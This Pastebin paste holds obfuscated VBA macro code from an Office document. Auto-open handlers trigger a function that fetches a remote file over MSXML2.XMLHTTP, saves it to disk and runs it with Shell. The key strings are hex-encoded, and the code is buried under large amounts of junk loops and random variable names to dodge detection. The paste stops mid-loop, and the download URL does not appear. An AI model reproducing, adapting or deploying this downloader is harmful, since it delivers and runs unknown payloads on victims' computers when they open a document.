Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Attribute VB_Name = "ThisDocument"
- Attribute VB_Base = "1Normal.ThisDocument"
- Attribute VB_GlobalNameSpace = False
- Attribute VB_Creatable = False
- Attribute VB_PredeclaredId = True
- Attribute VB_Exposed = True
- Attribute VB_TemplateDerived = True
- Attribute VB_Customizable = True
- Sub Auto_Open()
- Dim ShQZEKpo, VwcTyYdl, pApIUlhR As String
- Dim zlXRUOUA As Integer
- For zlXRUOUA = 0 To 7
- Dim fuisHauT, ZCdGXSlf, tiAOTpaI As String
- fuisHauT = HexToString("20202020202020202020204353524C5451202020202020202020202020202020")
- ZCdGXSlf = LTrim(fuisHauT)
- tiAOTpaI = RTrim(ZCdGXSlf)
- DoEvents
- Next zlXRUOUA
- Dim LKdTEvnR, yVBItdEG, rIZmegpg As String
- LKdTEvnR = HexToString("202020202020202020202057554D424546202020202020202020202020202020")
- yVBItdEG = LTrim(LKdTEvnR)
- rIZmegpg = RTrim(yVBItdEG)
- ShQZEKpo = HexToString("2020202020202020202020565251594B4A202020202020202020202020202020")
- Dim spiTjcal As Integer
- For spiTjcal = 0 To 3
- Dim CKnkTWxn, KLPENNLA, FLMGmrjZ As String
- CKnkTWxn = HexToString("202020202020202020202054504746554A202020202020202020202020202020")
- KLPENNLA = LTrim(CKnkTWxn)
- FLMGmrjZ = RTrim(KLPENNLA)
- DoEvents
- Next spiTjcal
- Dim jMDMXwjN, XGmgpHiJ, FysNNCcm As String
- jMDMXwjN = HexToString("2020202020202020202020434650434D58202020202020202020202020202020")
- XGmgpHiJ = LTrim(jMDMXwjN)
- FysNNCcm = RTrim(XGmgpHiJ)
- VwcTyYdl = LTrim(ShQZEKpo)
- Dim FJkQyQfv As Integer
- For FJkQyQfv = 0 To 2
- Dim hmDOzzcV, RqLdiDOY, uwiuJqlN As String
- hmDOzzcV = HexToString("2020202020202020202020564C4D545151202020202020202020202020202020")
- RqLdiDOY = LTrim(hmDOzzcV)
- uwiuJqlN = RTrim(RqLdiDOY)
- DoEvents
- Next FJkQyQfv
- Dim LkSEFNBx, yvvYhFeU, kRqOKAyK As String
- LkSEFNBx = HexToString("2020202020202020202020574D5556495A202020202020202020202020202020")
- yvvYhFeU = LTrim(LkSEFNBx)
- kRqOKAyK = RTrim(yvvYhFeU)
- pApIUlhR = RTrim(VwcTyYdl)
- Dim fXmADZxW As Integer
- For fXmADZxW = 0 To 6
- Dim ViVfkYNf, LoobSPxg, GplQuGMj As String
- ViVfkYNf = HexToString("2020202020202020202020544B41534150202020202020202020202020202020")
- LoobSPxg = LTrim(ViVfkYNf)
- GplQuGMj = RTrim(LoobSPxg)
- DoEvents
- Next fXmADZxW
- Dim AtpCirKl, uNKkmbOq, BjIesYVF As String
- AtpCirKl = HexToString("20202020202020202020205A4C57424244202020202020202020202020202020")
- uNKkmbOq = LTrim(AtpCirKl)
- BjIesYVF = RTrim(uNKkmbOq)
- IGUCOBOAWDI
- End Sub
- Sub AutoOpen()
- Dim dUBfFTFi, iIoboOso, rOlQZFOq As String
- Dim LgGNwveL As Integer
- For LgGNwveL = 0 To 5
- Dim gqAoQeJe, EaYSHFeQ, KJSjXbgl As String
- gqAoQeJe = HexToString("20202020202020202020204346444B4551202020202020202020202020202020")
- EaYSHFeQ = LTrim(gqAoQeJe)
- KJSjXbgl = RTrim(EaYSHFeQ)
- DoEvents
- Next LgGNwveL
- Dim wSaDbwbg, UKDHzoZb, TEjENqoV As String
- wSaDbwbg = HexToString("20202020202020202020204F5447454144202020202020202020202020202020")
- UKDHzoZb = LTrim(wSaDbwbg)
- TEjENqoV = RTrim(UKDHzoZb)
- dUBfFTFi = HexToString("202020202020202020202044545A53534F202020202020202020202020202020")
- Dim eqYUXvkp As Integer
- For eqYUXvkp = 0 To 3
- Dim NEOGkcZL, WRLaSZNM, JTedyYcW As String
- NEOGkcZL = HexToString("202020202020202020202059454D424E59202020202020202020202020202020")
- WRLaSZNM = LTrim(NEOGkcZL)
- JTedyYcW = RTrim(WRLaSZNM)
- DoEvents
- Next eqYUXvkp
- Dim PGNkrnAM, gPUSjWlS, iavcizIh As String
- PGNkrnAM = HexToString("20202020202020202020205551484F4342202020202020202020202020202020")
- gPUSjWlS = LTrim(PGNkrnAM)
- iavcizIh = RTrim(gPUSjWlS)
- iIoboOso = LTrim(dUBfFTFi)
- Dim BTCqDZEg As Integer
- For BTCqDZEg = 0 To 6
- Dim PyLcltsQ, dkikzZWt, AifWifuD As String
- PyLcltsQ = HexToString("2020202020202020202020475841494959202020202020202020202020202020")
- dkikzZWt = LTrim(PyLcltsQ)
- AifWifuD = RTrim(dkikzZWt)
- DoEvents
- Next BTCqDZEg
- Dim xFqKQSyi, IMCWdbol, MNOVGfdE As String
- xFqKQSyi = HexToString("20202020202020202020204F544D595557202020202020202020202020202020")
- IMCWdbol = LTrim(xFqKQSyi)
- MNOVGfdE = RTrim(IMCWdbol)
- rOlQZFOq = RTrim(iIoboOso)
- Dim BTWkoGmz As Integer
- For BTWkoGmz = 0 To 6
- Dim pbKaVipj, ynzdlsYk, ansvDjrl As String
- pbKaVipj = HexToString("2020202020202020202020514156544A56202020202020202020202020202020")
- ynzdlsYk = LTrim(pbKaVipj)
- ansvDjrl = RTrim(ynzdlsYk)
- DoEvents
- Next BTWkoGmz
- Dim PHstMmcC, hSMbuGgF, ozPqCXRk As String
- PHstMmcC = HexToString("2020202020202020202020555358454B58202020202020202020202020202020")
- hSMbuGgF = LTrim(PHstMmcC)
- ozPqCXRk = RTrim(hSMbuGgF)
- Auto_Open
- End Sub
- Sub Workbook_Open()
- Dim mibzxVwm, BrucOlds, RBGKCFtr As String
- Dim RXZIAShB As Integer
- For RXZIAShB = 0 To 3
- Dim bUuQVPIo, zKwTUikE, jIAoDLEs As String
- bUuQVPIo = HexToString("20202020202020202020204F5049465657202020202020202020202020202020")
- zKwTUikE = LTrim(bUuQVPIo)
- jIAoDLEs = RTrim(zKwTUikE)
- DoEvents
- Next RXZIAShB
- Dim XcdtAfzs, iEBirztx, yfZMzrQW As String
- XcdtAfzs = HexToString("202020202020202020202058434D535A4F202020202020202020202020202020")
- iEBirztx = LTrim(XcdtAfzs)
- yfZMzrQW = RTrim(iEBirztx)
- mibzxVwm = HexToString("20202020202020202020204B50564C4B4B202020202020202020202020202020")
- Dim ziNXaAfi As Integer
- For ziNXaAfi = 0 To 1
- Dim XIFbkptW, KIVQSgZX, DOiCulNV As String
- XIFbkptW = HexToString("20202020202020202020205254584B4E42202020202020202020202020202020")
- KIVQSgZX = LTrim(XIFbkptW)
- DOiCulNV = RTrim(KIVQSgZX)
- DoEvents
- Next ziNXaAfi
- Dim aoFfnAwl, YrwIDCds, bmdlRrAG As String
- aoFfnAwl = HexToString("2020202020202020202020475750554F42202020202020202020202020202020")
- YrwIDCds = LTrim(aoFfnAwl)
- bmdlRrAG = RTrim(YrwIDCds)
- BrucOlds = LTrim(mibzxVwm)
- Dim SBFJZsll As Integer
- For SBFJZsll = 0 To 2
- Dim KZLEPyie, ulBuGJlQ, ORfavget As String
- KZLEPyie = HexToString("2020202020202020202020534358455A44202020202020202020202020202020")
- ulBuGJlQ = LTrim(KZLEPyie)
- ORfavget = RTrim(ulBuGJlQ)
- DoEvents
- Next SBFJZsll
- Dim qFqLQZsi, xMCCfhgk, INONGrlZ As String
- qFqLQZsi = HexToString("202020202020202020202050485646584F202020202020202020202020202020")
- xMCCfhgk = LTrim(qFqLQZsi)
- INONGrlZ = RTrim(xMCCfhgk)
- RBGKCFtr = RTrim(BrucOlds)
- Dim FvnKOyDC As Integer
- For FvnKOyDC = 0 To 2
- Dim LjQdGiSV, GkWvpdpB, PltPRjUN As String
- LjQdGiSV = HexToString("2020202020202020202020454357515356202020202020202020202020202020")
- GkWvpdpB = LTrim(LjQdGiSV)
- PltPRjUN = RTrim(GkWvpdpB)
- DoEvents
- Next FvnKOyDC
- Dim aFYflHvr, YOfOYqhW, bNtlckRv As String
- aFYflHvr = HexToString("2020202020202020202020475159555459202020202020202020202020202020")
- YOfOYqhW = LTrim(aFYflHvr)
- bNtlckRv = RTrim(YOfOYqhW)
- Auto_Open
- End Sub
- Function XBFAPGNWGLM(ByVal TPAOTURPFOP As String, ByVal TVJVKSFDLLP As String) As Boolean
- Dim VITXOMHNZWX As Object, HISBIEKZNOY As Long, IHKQTVUQCZB As Long, ETSVVGEHSOS() As Byte
- Dim xmccdXhH, BYQjXlBp, fxJWayqK As String
- Dim ONouzcZq As Integer
- For ONouzcZq = 0 To 3
- Dim PPVhaeyl, BbeLyFja, AQkDGsNm As String
- PPVhaeyl = HexToString("2020202020202020202020494142585153202020202020202020202020202020")
- BbeLyFja = LTrim(PPVhaeyl)
- AQkDGsNm = RTrim(BbeLyFja)
- DoEvents
- Next ONouzcZq
- Dim QytrriLh, CsJuTWCn, okEpiONP As String
- QytrriLh = HexToString("20202020202020202020204A4648514859202020202020202020202020202020")
- CsJuTWCn = LTrim(QytrriLh)
- okEpiONP = RTrim(CsJuTWCn)
- xmccdXhH = HexToString("2020202020202020202020495248555441202020202020202020202020202020")
- Dim LJcrCbeU As Integer
- For LJcrCbeU = 0 To 9
- Dim gBYwVzmn, qBJIluKA, yNaMDqhZ As String
- gBYwVzmn = HexToString("202020202020202020202046444B484A57202020202020202020202020202020")
- qBJIluKA = LTrim(gBYwVzmn)
- yNaMDqhZ = RTrim(qBJIluKA)
- DoEvents
- Next LJcrCbeU
- Dim MPPHJOIZ, DaAAUHCy, lXoXWqGC As String
- MPPHJOIZ = HexToString("2020202020202020202020534F49584A45202020202020202020202020202020")
- DaAAUHCy = LTrim(MPPHJOIZ)
- lXoXWqGC = RTrim(DaAAUHCy)
- BYQjXlBp = LTrim(xmccdXhH)
- Dim oVWtGldS As Integer
- For oVWtGldS = 0 To 8
- Dim iplKcCkb, PmUSumNM, BqDjdysZ As String
- iplKcCkb = HexToString("20202020202020202020204156464B515A202020202020202020202020202020")
- PmUSumNM = LTrim(iplKcCkb)
- BqDjdysZ = RTrim(PmUSumNM)
- DoEvents
- Next oVWtGldS
- Dim jvWxurjJ, gpvotyXj, AhqsULNA As String
- jvWxurjJ = HexToString("20202020202020202020205556514D4A52202020202020202020202020202020")
- gpvotyXj = LTrim(jvWxurjJ)
- AhqsULNA = RTrim(gpvotyXj)
- fxJWayqK = RTrim(BYQjXlBp)
- Dim jyPVwGeN As Integer
- For jyPVwGeN = 0 To 9
- Dim UtpnKwQQ, EtlSsniS, vyRBYRTD As String
- UtpnKwQQ = HexToString("20202020202020202020204348554B4654202020202020202020202020202020")
- EtlSsniS = LTrim(UtpnKwQQ)
- vyRBYRTD = RTrim(EtlSsniS)
- DoEvents
- Next jyPVwGeN
- Dim HkNGJkug, OIHnIvxK, gEvWWLfO As String
- HkNGJkug = HexToString("2020202020202020202020504E48574A4D202020202020202020202020202020")
- OIHnIvxK = LTrim(HkNGJkug)
- gEvWWLfO = RTrim(OIHnIvxK)
- Set VITXOMHNZWX = CreateObject(HexToString("4D53584D4C322E584D4C48545450"))
- VITXOMHNZWX.Open HexToString("474554"), TPAOTURPFOP, False
- Dim nlWlldfb, SvUxMakP, PpqoKeCo As String
- Dim XvpXdzuw As Integer
- For XvpXdzuw = 0 To 9
- Dim fYoEnSRj, ZxguTcHB, tIZagWbl As String
- fYoEnSRj = HexToString("2020202020202020202020434252454345202020202020202020202020202020")
- ZxguTcHB = LTrim(fYoEnSRj)
- tIZagWbl = RTrim(ZxguTcHB)
- DoEvents
- Next XvpXdzuw
- Dim VagOOasc, qiaSsFgU, xfDGDZlK As String
- VagOOasc = HexToString("202020202020202020202043535741595A202020202020202020202020202020")
- qiaSsFgU = LTrim(VagOOasc)
- xfDGDZlK = RTrim(qiaSsFgU)
- nlWlldfb = HexToString("20202020202020202020205157534C4349202020202020202020202020202020")
- Dim fcdOuBbF As Integer
- For fcdOuBbF = 0 To 6
- Dim PWjWModf, YXnugfOg, AXPlOkuh As String
- PWjWModf = HexToString("20202020202020202020204253505A4756202020202020202020202020202020")
- YXnugfOg = LTrim(PWjWModf)
- AXPlOkuh = RTrim(YXnugfOg)
- DoEvents
- Next fcdOuBbF
- Dim fuKoxMCN, uxIMfasE, Qljgnxew As String
- fuKoxMCN = HexToString("2020202020202020202020574D5354554F202020202020202020202020202020")
- uxIMfasE = LTrim(fuKoxMCN)
- Qljgnxew = RTrim(uxIMfasE)
- SvUxMakP = LTrim(nlWlldfb)
- Dim WHhoDDsx As Integer
- For WHhoDDsx = 0 To 9
- Dim TgTAlwsM, inMweLWg, xjBBiRuC As String
- TgTAlwsM = HexToString("202020202020202020202044414D504F46202020202020202020202020202020")
- inMweLWg = LTrim(TgTAlwsM)
- xjBBiRuC = RTrim(inMweLWg)
- DoEvents
- Next WHhoDDsx
- Dim DaKWFCdl, QQwUSBKK, CJiPgDXe As String
- DaKWFCdl = HexToString("20202020202020202020204B5350554941202020202020202020202020202020")
- QQwUSBKK = LTrim(DaKWFCdl)
- CJiPgDXe = RTrim(QQwUSBKK)
- PpqoKeCo = RTrim(SvUxMakP)
- Dim HlFjRZes As Integer
- For HlFjRZes = 0 To 8
- Dim VPUlPPmy, MQJRrGKu, GQzHvLho As String
- VPUlPPmy = HexToString("202020202020202020202059594C465053202020202020202020202020202020")
- MQJRrGKu = LTrim(VPUlPPmy)
- GQzHvLho = RTrim(MQJRrGKu)
- DoEvents
- Next HlFjRZes
- Dim ceXDUGyl, jlDvvXmX, XgmLQjdF As String
- ceXDUGyl = HexToString("2020202020202020202020414B464D5359202020202020202020202020202020")
- jlDvvXmX = LTrim(ceXDUGyl)
- XgmLQjdF = RTrim(jlDvvXmX)
- VITXOMHNZWX.Send HexToString("676A766B76686C")
- Dim ATdUYIlO, xTxLNSHP, lYYtmJfS As String
- Dim VlcjckAj As Integer
- For VlcjckAj = 0 To 3
- Dim HufbzyvT, lkZlQEiN, UiIVJglI As String
- HufbzyvT = HexToString("20202020202020202020204B43514F4E59202020202020202020202020202020")
- lkZlQEiN = LTrim(HufbzyvT)
- UiIVJglI = RTrim(lkZlQEiN)
- DoEvents
- Next VlcjckAj
- Dim HmANTIiz, znfeuwss, gYNyIpgx As String
- HmANTIiz = HexToString("20202020202020202020204C575A4F454C202020202020202020202020202020")
- znfeuwss = LTrim(HmANTIiz)
- gYNyIpgx = RTrim(znfeuwss)
- ATdUYIlO = HexToString("20202020202020202020204D5249584951202020202020202020202020202020")
- Dim qBTFlFUR As Integer
- For qBTFlFUR = 0 To 8
- Dim DfTXigqx, OgGoZlIv, RhBmCcyb As String
- DfTXigqx = HexToString("20202020202020202020204E574B455841202020202020202020202020202020")
- OgGoZlIv = LTrim(DfTXigqx)
- RhBmCcyb = RTrim(OgGoZlIv)
- DoEvents
- Next qBTFlFUR
- Dim TbnKkjqb, qmodRQzj, HjHUJuMo As String
- TbnKkjqb = HexToString("2020202020202020202020434C42464741202020202020202020202020202020")
- qmodRQzj = LTrim(TbnKkjqb)
- HjHUJuMo = RTrim(qmodRQzj)
- xTxLNSHP = LTrim(ATdUYIlO)
- Dim azByVebN As Integer
- For azByVebN = 0 To 1
- Dim EDdbSbvK, KEleKqPn, mFUCAIlW As String
- EDdbSbvK = HexToString("2020202020202020202020525A59415243202020202020202020202020202020")
- KEleKqPn = LTrim(EDdbSbvK)
- mFUCAIlW = RTrim(KEleKqPn)
- DoEvents
- Next azByVebN
- Dim TrHObPwY, EFlxcSzt, HMtbBbth As String
- TrHObPwY = HexToString("202020202020202020202046444F414E4D202020202020202020202020202020")
- EFlxcSzt = LTrim(TrHObPwY)
- HMtbBbth = RTrim(EFlxcSzt)
- lYYtmJfS = RTrim(xTxLNSHP)
- Dim HdnzErCy As Integer
- For HdnzErCy = 0 To 8
- Dim nYqAENFe, wUwDCtsr, kITBkoOt As String
- nYqAENFe = HexToString("20202020202020202020204D52494C594D202020202020202020202020202020")
- wUwDCtsr = LTrim(nYqAENFe)
- kITBkoOt = RTrim(wUwDCtsr)
- DoEvents
- Next HdnzErCy
- Dim JVtEjZnt, PgXfiOHI, hpEOmtUb As String
- JVtEjZnt = HexToString("202020202020202020202050484C47524E202020202020202020202020202020")
- PgXfiOHI = LTrim(JVtEjZnt)
- hpEOmtUb = RTrim(PgXfiOHI)
- ETSVVGEHSOS = VITXOMHNZWX.responseBody
- Dim aeVRwHyq, TVYBIqCe, qMflWTGM As String
- Dim pORRZdyT As Integer
- For pORRZdyT = 0 To 2
- Dim DErShlEF, hFlYBJso, RRcptZcJ As String
- DErShlEF = HexToString("20202020202020202020204A4959475544202020202020202020202020202020")
- hFlYBJso = LTrim(DErShlEF)
- RRcptZcJ = RTrim(hFlYBJso)
- DoEvents
- Next pORRZdyT
- Dim HYqDLhKz, zSCHmrXd, fKOLCJBx As String
- HYqDLhKz = HexToString("20202020202020202020204C414D455050202020202020202020202020202020")
- zSCHmrXd = LTrim(HYqDLhKz)
- fKOLCJBx = RTrim(zSCHmrXd)
- aeVRwHyq = HexToString("2020202020202020202020494951554A44202020202020202020202020202020")
- Dim GeLEdqeg As Integer
- For GeLEdqeg = 0 To 8
- Dim CkYqgaSQ, KlHcOtpS, DlNOepUD As String
- CkYqgaSQ = HexToString("202020202020202020202054434B50424D202020202020202020202020202020")
- KlHcOtpS = LTrim(CkYqgaSQ)
- DlNOepUD = RTrim(KlHcOtpS)
- DoEvents
- Next GeLEdqeg
- Dim hooDXZcK, WtJopVhP, bNvExluA As String
- hooDXZcK = HexToString("2020202020202020202020485148535455202020202020202020202020202020")
- WtJopVhP = LTrim(hooDXZcK)
- bNvExluA = RTrim(WtJopVhP)
- TVYBIqCe = LTrim(aeVRwHyq)
- Dim TysWLbWP As Integer
- For TysWLbWP = 0 To 9
- Dim DVhlBrKs, zDmVrGrM, RBOKDdDg As String
- DVhlBrKs = HexToString("20202020202020202020204F4955564F53202020202020202020202020202020")
- zDmVrGrM = LTrim(DVhlBrKs)
- RBOKDdDg = RTrim(zDmVrGrM)
- DoEvents
- Next TysWLbWP
- Dim kPjLQTLS, jwMYOUbs, ZAYOqwZx As String
- kPjLQTLS = HexToString("202020202020202020202055525859554B202020202020202020202020202020")
- jwMYOUbs = LTrim(kPjLQTLS)
- ZAYOqwZx = RTrim(jwMYOUbs)
- qMflWTGM = RTrim(TVYBIqCe)
- Dim oQcyILmk As Integer
- For oQcyILmk = 0 To 6
- Dim EkcOvyHK, vlUWLqfL, mlKufgQM As String
- EkcOvyHK = HexToString("2020202020202020202020574346435243202020202020202020202020202020")
- vlUWLqfL = LTrim(EkcOvyHK)
- mlKufgQM = RTrim(vlUWLqfL)
- DoEvents
- Next oQcyILmk
- Dim ApRUcXeb, lnmlgeke, BweDAcpM As String
- ApRUcXeb = HexToString("20202020202020202020205A58544A554F202020202020202020202020202020")
- lnmlgeke = LTrim(ApRUcXeb)
- BweDAcpM = RTrim(lnmlgeke)
- IHKQTVUQCZB = FreeFile
- Open TVJVKSFDLLP For Binary As #IHKQTVUQCZB
- Dim VIIlfXUl, nLCfCljD, GOzJetZw As String
- Dim YdglYOLr As Integer
- For YdglYOLr = 0 To 9
- Dim ZOlBlCSR, tWULzmwB, lPSxuyUU As String
- ZOlBlCSR = HexToString("202020202020202020202051514657495A202020202020202020202020202020")
- tWULzmwB = LTrim(ZOlBlCSR)
- lPSxuyUU = RTrim(tWULzmwB)
- DoEvents
- Next YdglYOLr
- Dim KtCrxXMu, rsOuBPVk, hkwpnvaZ As String
- KtCrxXMu = HexToString("20202020202020202020204D465351424E202020202020202020202020202020")
- rsOuBPVk = LTrim(KtCrxXMu)
- hkwpnvaZ = RTrim(rsOuBPVk)
- VIIlfXUl = HexToString("2020202020202020202020585057595941202020202020202020202020202020")
- Dim KLxJAuNl As Integer
- For KLxJAuNl = 0 To 5
- Dim BsGufJWl, WdBlIWll, HfoReNHw As String
- BsGufJWl = HexToString("2020202020202020202020594D43494247202020202020202020202020202020")
- WdBlIWll = LTrim(BsGufJWl)
- HfoReNHw = RTrim(WdBlIWll)
- DoEvents
- Next KLxJAuNl
- Dim EjMqMWGO, osATuhUA, FupNlQvl As String
- EjMqMWGO = HexToString("202020202020202020202043464F434548202020202020202020202020202020")
- osATuhUA = LTrim(EjMqMWGO)
- FupNlQvl = RTrim(osATuhUA)
- nLCfCljD = LTrim(VIIlfXUl)
- Dim zICYoqGF As Integer
- For zICYoqGF = 0 To 3
- Dim ftGelAxO, ZWWYbdIk, tupnoPkQ As String
- ftGelAxO = HexToString("2020202020202020202020435157474D56202020202020202020202020202020")
- ZWWYbdIk = LTrim(ftGelAxO)
- tupnoPkQ = RTrim(ZWWYbdIk)
- DoEvents
- Next zICYoqGF
- Dim kpvTKogd, hMzlHqMS, ZNFwlVCX As String
- kpvTKogd = HexToString("202020202020202020202055484E425059202020202020202020202020202020")
- hMzlHqMS = LTrim(kpvTKogd)
- ZNFwlVCX = RTrim(hMzlHqMS)
- GOzJetZw = RTrim(nLCfCljD)
- Dim lSUSfOqp As Integer
- For lSUSfOqp = 0 To 4
- Dim RRSFkyyo, nTCNSpZp, wTusugNq As String
- RRSFkyyo = HexToString("2020202020202020202020584557424158202020202020202020202020202020")
- nTCNSpZp = LTrim(RRSFkyyo)
- wTusugNq = RTrim(nTCNSpZp)
- DoEvents
- Next lSUSfOqp
- Dim lxvyAdcq, dDhJllDF, JICsTFRT As String
- lxvyAdcq = HexToString("2020202020202020202020565A45454F4B202020202020202020202020202020")
- dDhJllDF = LTrim(lxvyAdcq)
- JICsTFRT = RTrim(dDhJllDF)
- Put #IHKQTVUQCZB, , ETSVVGEHSOS
- Dim XhrvHdSj, iwHAkaGA, lAZRMFKS As String
- Dim goGapZEr As Integer
- For goGapZEr = 0 To 3
- Dim FMziqoIN, eOuSjMMI, TWwYNkEe As String
- FMziqoIN = HexToString("20202020202020202020205059414B4847202020202020202020202020202020")
- eOuSjMMI = LTrim(FMziqoIN)
- TWwYNkEe = RTrim(eOuSjMMI)
- DoEvents
- Next goGapZEr
- Dim PLToVCaq, CNksnQtw, oyrgzbiY As String
- PLToVCaq = HexToString("2020202020202020202020484945464441202020202020202020202020202020")
- CNksnQtw = LTrim(PLToVCaq)
- oyrgzbiY = RTrim(CNksnQtw)
- XhrvHdSj = HexToString("2020202020202020202020584C48574F49202020202020202020202020202020")
- Dim YuMPhGra As Integer
- For YuMPhGra = 0 To 3
- Dim eQssLmiG, BSwcfbTH, MSTOUEeK As String
- eQssLmiG = HexToString("2020202020202020202020495549514652202020202020202020202020202020")
- BSwcfbTH = LTrim(eQssLmiG)
- MSTOUEeK = RTrim(BSwcfbTH)
- DoEvents
- Next YuMPhGra
- Dim DeQvQvLu, YlZpZToP, sgpRGaNA As String
- DeQvQvLu = HexToString("2020202020202020202020494B4F444656202020202020202020202020202020")
- YlZpZToP = LTrim(DeQvQvLu)
- sgpRGaNA = RTrim(YlZpZToP)
- iwHAkaGA = LTrim(XhrvHdSj)
- Dim STNFKKJM As Integer
- For STNFKKJM = 0 To 7
- Dim tNNDvFie, UsfUisJx, XzlqdCet As String
- tNNDvFie = HexToString("2020202020202020202020424C52475143202020202020202020202020202020")
- UsfUisJx = LTrim(tNNDvFie)
- XzlqdCet = RTrim(UsfUisJx)
- DoEvents
- Next STNFKKJM
- Dim TbhHpfQD, EqLEihjs, GjTYOemx As String
- TbhHpfQD = HexToString("2020202020202020202020465658544C4F202020202020202020202020202020")
- EqLEihjs = LTrim(TbhHpfQD)
- GjTYOemx = RTrim(EqLEihjs)
- lAZRMFKS = RTrim(iwHAkaGA)
- Dim hpcHlfTb As Integer
- For hpcHlfTb = 0 To 3
- Dim rnDgyHMo, NACnnWkp, WZiDWBGq As String
- rnDgyHMo = HexToString("2020202020202020202020494158535747202020202020202020202020202020")
- NACnnWkp = LTrim(rnDgyHMo)
- WZiDWBGq = RTrim(NACnnWkp)
- DoEvents
- Next hpcHlfTb
- Dim jEoDElxl, pMBcmbQX, FGULUMEF As String
- jEoDElxl = HexToString("20202020202020202020204354574D5057202020202020202020202020202020")
- pMBcmbQX = LTrim(jEoDElxl)
- FGULUMEF = RTrim(pMBcmbQX)
- Close #IHKQTVUQCZB
- Dim ihJfyZrM, rjabbYAW, BkqSMQBX As String
- Dim yfIMtlRP As Integer
- For yfIMtlRP = 0 To 2
- Dim xRWvxekX, BHplynah, fYhXssdV As String
- xRWvxekX = HexToString("2020202020202020202020494F5A495054202020202020202020202020202020")
- BHplynah = LTrim(xRWvxekX)
- fYhXssdV = RTrim(BHplynah)
- DoEvents
- Next yfIMtlRP
- Dim rYQUBRsl, hScPnkgE, ZLpDzykF As String
- rYQUBRsl = HexToString("20202020202020202020204E5A554E444A202020202020202020202020202020")
- hScPnkgE = LTrim(rYQUBRsl)
- ZLpDzykF = RTrim(hScPnkgE)
- ihJfyZrM = HexToString("2020202020202020202020505856534D49202020202020202020202020202020")
- Dim RlFgOdeV As Integer
- For RlFgOdeV = 0 To 9
- Dim knWNuMHl, fAtsABfm, oZgcWeQx As String
- knWNuMHl = HexToString("202020202020202020202047414254574A202020202020202020202020202020")
- fAtsABfm = LTrim(knWNuMHl)
- oZgcWeQx = RTrim(fAtsABfm)
- DoEvents
- Next RlFgOdeV
- Dim PlkKJgNi, EPoEIwgQ, iTHVWHyZ As String
- PlkKJgNi = HexToString("2020202020202020202020554142434A4C202020202020202020202020202020")
- EPoEIwgQ = LTrim(PlkKJgNi)
- iTHVWHyZ = RTrim(EPoEIwgQ)
- rjabbYAW = LTrim(ihJfyZrM)
- Dim HtncqYVy As Integer
- For HtncqYVy = 0 To 8
- Dim FlELEzPn, epOcODXo, TwCklqTZ As String
- FlELEzPn = HexToString("2020202020202020202020504C47514251202020202020202020202020202020")
- epOcODXo = LTrim(FlELEzPn)
- TwCklqTZ = RTrim(epOcODXo)
- DoEvents
- Next HtncqYVy
- Dim aKjbVEKp, fVeZnjXm, brGTztBT As String
- aKjbVEKp = HexToString("20202020202020202020205A534A4A4446202020202020202020202020202020")
- fVeZnjXm = LTrim(aKjbVEKp)
- brGTztBT = RTrim(fVeZnjXm)
- BkqSMQBX = RTrim(rjabbYAW)
- Dim vkeHzhlI As Integer
- For vkeHzhlI = 0 To 7
- Dim gchIucKv, pvbMAZhb, yvOyXYDn As String
- gchIucKv = HexToString("2020202020202020202020464E50585759202020202020202020202020202020")
- pvbMAZhb = LTrim(gchIucKv)
- yvOyXYDn = RTrim(pvbMAZhb)
- DoEvents
- Next vkeHzhlI
- Dim oTdBbPNS, zXePjJhh, UJQtEdui As String
- oTdBbPNS = HexToString("20202020202020202020204C59584E4952202020202020202020202020202020")
- zXePjJhh = LTrim(oTdBbPNS)
- UJQtEdui = RTrim(zXePjJhh)
- Dim WNBDJKBSMXA
- Dim oApmVPjk, zKayGJYW, YDInzdcS As String
- Dim ACKYeWPg As Integer
- For ACKYeWPg = 0 To 2
- Dim wsdHlkpd, VxAPzGLU, ddYfiAth As String
- wsdHlkpd = HexToString("20202020202020202020204942514A4F53202020202020202020202020202020")
- VxAPzGLU = LTrim(wsdHlkpd)
- ddYfiAth = RTrim(VxAPzGLU)
- DoEvents
- Next ACKYeWPg
- Dim JIDpkAqH, eFbdLhfa, hMshwrks As String
- JIDpkAqH = HexToString("20202020202020202020204D5A49464348202020202020202020202020202020")
- eFbdLhfa = LTrim(JIDpkAqH)
- hMshwrks = RTrim(eFbdLhfa)
- oApmVPjk = HexToString("20202020202020202020204C5457514D52202020202020202020202020202020")
- Dim MGRneXES As Integer
- For MGRneXES = 0 To 3
- Dim RhVwXgkI, bjoIjlGO, wklMPcdP As String
- RhVwXgkI = HexToString("2020202020202020202020585841484841202020202020202020202020202020")
- bjoIjlGO = LTrim(RhVwXgkI)
- wklMPcdP = RTrim(bjoIjlGO)
- DoEvents
- Next MGRneXES
- Dim lJEAQLbS, dimdAaGh, KezIGwYu As String
- lJEAQLbS = HexToString("2020202020202020202020565354464649202020202020202020202020202020")
- dimdAaGh = LTrim(lJEAQLbS)
- KezIGwYu = RTrim(dimdAaGh)
- zKayGJYW = LTrim(oApmVPjk)
- Dim NFQePumM As Integer
- For NFQePumM = 0 To 6
- Dim VzalIsFl, dKuXFCNa, GemHcmOw As String
- VzalIsFl = HexToString("202020202020202020202047504E434148202020202020202020202020202020")
- dKuXFCNa = LTrim(VzalIsFl)
- GemHcmOw = RTrim(dKuXFCNa)
- DoEvents
- Next NFQePumM
- Dim fIkdllho, nFrhWill, SMHlcXxE As String
- fIkdllho = HexToString("2020202020202020202020534441564454202020202020202020202020202020")
- nFrhWill = LTrim(fIkdllho)
- SMHlcXxE = RTrim(nFrhWill)
- YDInzdcS = RTrim(zKayGJYW)
- Dim VNSKUwlY As Integer
- For VNSKUwlY = 0 To 6
- Dim ltIOEEjP, gtLWVUFS, qyeulSsD As String
- ltIOEEjP = HexToString("202020202020202020202048484C435949202020202020202020202020202020")
- gtLWVUFS = LTrim(ltIOEEjP)
- qyeulSsD = RTrim(gtLWVUFS)
- DoEvents
- Next VNSKUwlY
- Dim WHjAvCDe, FuidhrzY, leGUZbMv As String
- WHjAvCDe = HexToString("2020202020202020202020535342464950202020202020202020202020202020")
- FuidhrzY = LTrim(WHjAvCDe)
- leGUZbMv = RTrim(FuidhrzY)
- WNBDJKBSMXA = Shell(TVJVKSFDLLP, 1)
- Dim uuHSsxxm, wCXhjoIe, VippNTkx As String
- Dim uHiaVMTN As Integer
- For uHiaVMTN = 0 To 2
- Dim hJQvzhmv, KzNlQSrK, yKyCJvhn As String
- hJQvzhmv = HexToString("2020202020202020202020524743494E51202020202020202020202020202020")
- KzNlQSrK = LTrim(hJQvzhmv)
- yKyCJvhn = RTrim(KzNlQSrK)
- DoEvents
- Next uHiaVMTN
